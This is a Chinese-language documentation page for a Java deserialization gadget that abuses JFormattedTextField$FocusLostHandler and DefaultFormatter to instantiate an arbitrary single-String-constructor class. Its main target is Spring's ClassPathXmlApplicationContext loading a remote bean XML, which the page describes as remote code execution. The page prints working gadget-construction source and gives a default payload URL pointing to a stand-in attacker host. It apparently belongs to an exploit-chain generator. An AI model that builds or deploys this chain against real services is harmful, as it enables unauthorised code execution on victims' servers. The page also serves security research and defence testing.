Skip to content

Latest commit

 

History

History
72 lines (62 loc) · 4.68 KB

File metadata and controls

72 lines (62 loc) · 4.68 KB

JFormattedTextField$FocusLostHandler (JFormattedTextField)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖:jdk原生

作用

利用 javax.swing.JFormattedTextField$FocusLostHandlerrun() 方法调用 DefaultFormatter#stringToValue(),进而用一个 String 参数实例化任意 public 类(其构造方法接受单个 String)。典型目标是 org.springframework.context.support.ClassPathXmlApplicationContext,用一个 URL 触发远程 Spring Bean XML 加载 → RCE。

链接标签

  • 入口 tagsJFormattedTextFieldEND —— JFormattedTextField 是本 gadget 的专属入口标签(供上层驱动此 Swing 触发逻辑);END 表示它是链尾 sink,自身闭合完成利用,不再向后衔接。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

本 gadget 无内层依赖,invoke 直接返回 getObject() 构造好的对象:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

getObject 构造一个「格式化文本框 + 失焦处理器」结构:

public Object getObject() throws Exception {
    DefaultFormatter defaultFormatter = new DefaultFormatter();
    defaultFormatter.setValueClass(Class.forName(this.clazz));      // 目标要实例化的类
    javax.swing.JFormattedTextField jFormattedTextField = new javax.swing.JFormattedTextField();
    Reflections.setFieldValue(jFormattedTextField, "format", defaultFormatter);
    StringContent stringContent = new StringContent(this.str.trim().length());
    stringContent.insertString(0, this.str.trim());                 // 构造方法的 String 实参
    PlainDocument plainDocument = new PlainDocument(stringContent);
    jFormattedTextField.setDocument(plainDocument);
    ...
  • setValueClass(Class.forName(clazz)):把 DefaultFormatter 的 valueClass 设为目标类(默认 ClassPathXmlApplicationContext)。stringToValue() 之后会用文本框内容作为唯一 String 参数去调用该类的构造器。
  • 文本框的文档内容被设为 str(默认远程 XML 地址),即将成为构造器实参。
    Class<?> focusLostHandlerClass = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
    Constructor<?> focusLostHandlerConstructor =
        focusLostHandlerClass.getDeclaredConstructor(javax.swing.JFormattedTextField.class);
    focusLostHandlerConstructor.setAccessible(true);
    Object focusLostHandler = focusLostHandlerConstructor.newInstance(jFormattedTextField);
    Reflections.setFieldValue(jFormattedTextField, "focusLostBehavior", 0);
    Method run = focusLostHandler.getClass().getDeclaredMethod("run", new Class[0]);
    run.setAccessible(true);
    return focusLostHandler;
}
  • 反射构造内部类 FocusLostHandler(持有上面的文本框),并把 focusLostBehavior 设为 0COMMIT_OR_REVERT),保证失焦时会执行 commit 逻辑走到 stringToValue
  • 返回的是 FocusLostHandler 实例。其 run() 一旦被调用即触发:JFormattedTextField.commitEdit()DefaultFormatter.stringToValue(str) → 反射 new ClassPathXmlApplicationContext(str) → 远程加载 bean.xml → 执行任意 Bean 定义(RCE)。

说明:本 gadget 产物是一个 RunnableFocusLostHandler)。它需要上游提供「反序列化时调用某对象 run()/触发失焦」的驱动点(对应专属 tag JFormattedTextField),常配合 Swing 相关的原生触发链使用。

参数(@Param)

字段 名称 说明 默认 可选值
str str 构造方法参数(String 类型),如 http://127.0.0.1:8888/bean.xml http://127.0.0.1:8888/bean.xml
clazz clazz 要调用(实例化)的类名 org.springframework.context.support.ClassPathXmlApplicationContext

适用版本与原理要点

  • 纯 JDK 原生(Swing)依赖,无第三方库要求;clazz 目标类(如 Spring 的 ClassPathXmlApplicationContext)需在目标 classpath 存在。
  • 利用面广:只要目标类有「单 String 参数 public 构造器」即可被实例化,可换用其他危险类。
  • 触发核心:DefaultFormatter#stringToValue() 用反射按 valueClass 找到 String 构造器并 newInstance(str)

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 上游(触发者):能在反序列化时调用 Runnable.run() 或触发 Swing 失焦回调的原生入口 gadget。
  • 思路同族:借「单 String 构造器实例化 ClassPathXmlApplicationContext」达成远程 XML 加载的其它 gadget(如 SpringBeanXml 系列)。